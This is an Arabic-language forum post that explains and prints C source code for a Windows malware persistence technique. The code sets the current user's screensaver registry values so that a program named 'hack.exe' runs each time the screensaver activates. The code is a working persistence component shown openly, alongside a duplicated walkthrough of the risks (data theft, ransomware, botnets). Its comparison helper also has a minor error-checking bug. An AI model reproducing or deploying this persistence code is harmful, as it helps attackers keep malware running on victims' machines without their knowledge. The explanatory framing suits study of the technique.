x32x01
أدارة أكتب كود
- بواسطة x32x01 ||
البرمجية اللي قدامنا دي بتستخدم طريقة خبيثة علشان تثبت نفسها على نظام ويندوز بشكل دائم عن طريق تغيير إعدادات الـScreensaver (شاشة التوقف).
الكود مكتوب بلغة C وبيستخدم Windows API للتعامل مع مفاتيح الريجستري
شرح الكود:
1. دالة reg_key_compare:
- بتفتح مفتاح ريجيستري محدد وتقارن قيمته بمدخل معين.
- لو القيمة كانت متطابقة بترجع TRUE (صح)، ولو مش متطابقة أو حصل خطأ بترجع FALSE (غلط).
2. الدالة main:
- أول حاجة بتحدد بعض المتغيرات زي مسار البرنامج الخبيث اللي هو "hack.exe"، ووقت التايم آوت، وتفعيل الـScreensaver.
- بتحاول تفتح مفتاح الريجيستري الخاص بإعدادات الـScreensaver في المسار HKEY_CURRENT_USER\Control Panel\Desktop.
- لو نجحت في فتح المفتاح، بتغير ثلاث قيم:
- ScreenSaveActive: تفعيل الـScreensaver.
- ScreenSaveTimeOut: وقت التايم آوت للـScreensaver.
- SCRNSAVE.EXE: مسار البرنامج اللي هيشتغل كـScreensaver، وفي الحالة دي هو البرنامج الخبيث "hack.exe".
- في الآخر بتقفل مفتاح الريجسترى
مدى الخطورة والضرر:
تثبيت دائم: الكود ده بيسمح للبرنامج الخبيث إنه يثبت نفسه بشكل دائم على الجهاز، يعني كل ما الـScreensaver يشتغل، البرنامج الخبيث هيتنفيذ أوتوماتيكي
بمجرد إن شاشة التوقف تتفعل، البرنامج الخبيث هيبدأ يشتغل أوتوماتيكي
إخفاء النشاط باستخدام الـScreensaver، البرمجية ممكن تخفي نشاطها لأنها بتستخدم وظيفة موجودة أصلًا
ماذا يمكن أن يفعل بها الهكر
ممكن يبرمج "hack.exe" علشان يسرق بيانات من الجهاز زي كلمات المرور أو ملفات حالسيطرة على النظام
ممكن ينزل برامج إضافية أو يتحكم في الجهاز بتنفذ هجمات أخرى
البرمجية الخبيثة دي ممكن تكون جزء من هجوم أكبر زي هجمات الفدية أو شبكات الـBotnet.
ببساطة، الكود ده بيسمح للهكر بإنه يثبت برنامج خبيث على نظام ويندوز ويشغله كل مرة شاشة التوقف تتفعل، وده بيخلي النظام في خطر كبير لو المستخدم مش واخد باله.
الكود مكتوب بلغة C وبيستخدم Windows API للتعامل مع مفاتيح الريجستري
C:
#include <windows.h>
#include <string.h>
int reg_key_compare(HKEY hKeyRoot, char* lpSubKey, char* regVal, char* compare) {
HKEY hKey = nullptr;
LONG ret;
char value[1024];
DWORD size = sizeof(value);
ret = RegOpenKeyExA(hKeyRoot, lpSubKey, 0, KEY_READ, &hKey);
if (ret == ERROR_SUCCESS) {
RegQueryValueExA(hKey, regVal, NULL, NULL, (LPBYTE)value, &size);
if (ret == ERROR_SUCCESS) {
if (strcmp(value, compare) == 0) {
return TRUE;
}
}
}
return FALSE;
}
int main(int argc, char* argv[]) {
HKEY hkey = NULL;
// malicious app
const char* exe = "Z:\\2022-04-26-malware-pers-2\\hack.exe";
// timeout
const char* ts = "10";
// activation
const char* aact = "1";
// startup
LONG res = RegOpenKeyEx(HKEY_CURRENT_USER, (LPCSTR)"Control Panel\\Desktop", 0 , KEY_WRITE, &hkey);
if (res == ERROR_SUCCESS) {
// create new registry keys
RegSetValueEx(hkey, (LPCSTR)"ScreenSaveActive", 0, REG_SZ, (unsigned char*)aact, strlen(aact));
RegSetValueEx(hkey, (LPCSTR)"ScreenSaveTimeOut", 0, REG_SZ, (unsigned char*)ts, strlen(ts));
RegSetValueEx(hkey, (LPCSTR)"SCRNSAVE.EXE", 0, REG_SZ, (unsigned char*)exe, strlen(exe));
RegCloseKey(hkey);
}
return 0;
}
شرح الكود:
1. دالة reg_key_compare:
- بتفتح مفتاح ريجيستري محدد وتقارن قيمته بمدخل معين.
- لو القيمة كانت متطابقة بترجع TRUE (صح)، ولو مش متطابقة أو حصل خطأ بترجع FALSE (غلط).
2. الدالة main:
- أول حاجة بتحدد بعض المتغيرات زي مسار البرنامج الخبيث اللي هو "hack.exe"، ووقت التايم آوت، وتفعيل الـScreensaver.
- بتحاول تفتح مفتاح الريجيستري الخاص بإعدادات الـScreensaver في المسار HKEY_CURRENT_USER\Control Panel\Desktop.
- لو نجحت في فتح المفتاح، بتغير ثلاث قيم:
- ScreenSaveActive: تفعيل الـScreensaver.
- ScreenSaveTimeOut: وقت التايم آوت للـScreensaver.
- SCRNSAVE.EXE: مسار البرنامج اللي هيشتغل كـScreensaver، وفي الحالة دي هو البرنامج الخبيث "hack.exe".
- في الآخر بتقفل مفتاح الريجسترى
مدى الخطورة والضرر:
تثبيت دائم: الكود ده بيسمح للبرنامج الخبيث إنه يثبت نفسه بشكل دائم على الجهاز، يعني كل ما الـScreensaver يشتغل، البرنامج الخبيث هيتنفيذ أوتوماتيكي
بمجرد إن شاشة التوقف تتفعل، البرنامج الخبيث هيبدأ يشتغل أوتوماتيكي
إخفاء النشاط باستخدام الـScreensaver، البرمجية ممكن تخفي نشاطها لأنها بتستخدم وظيفة موجودة أصلًا
ماذا يمكن أن يفعل بها الهكر
ممكن يبرمج "hack.exe" علشان يسرق بيانات من الجهاز زي كلمات المرور أو ملفات حالسيطرة على النظام
ممكن ينزل برامج إضافية أو يتحكم في الجهاز بتنفذ هجمات أخرى
البرمجية الخبيثة دي ممكن تكون جزء من هجوم أكبر زي هجمات الفدية أو شبكات الـBotnet.
ببساطة، الكود ده بيسمح للهكر بإنه يثبت برنامج خبيث على نظام ويندوز ويشغله كل مرة شاشة التوقف تتفعل، وده بيخلي النظام في خطر كبير لو المستخدم مش واخد باله.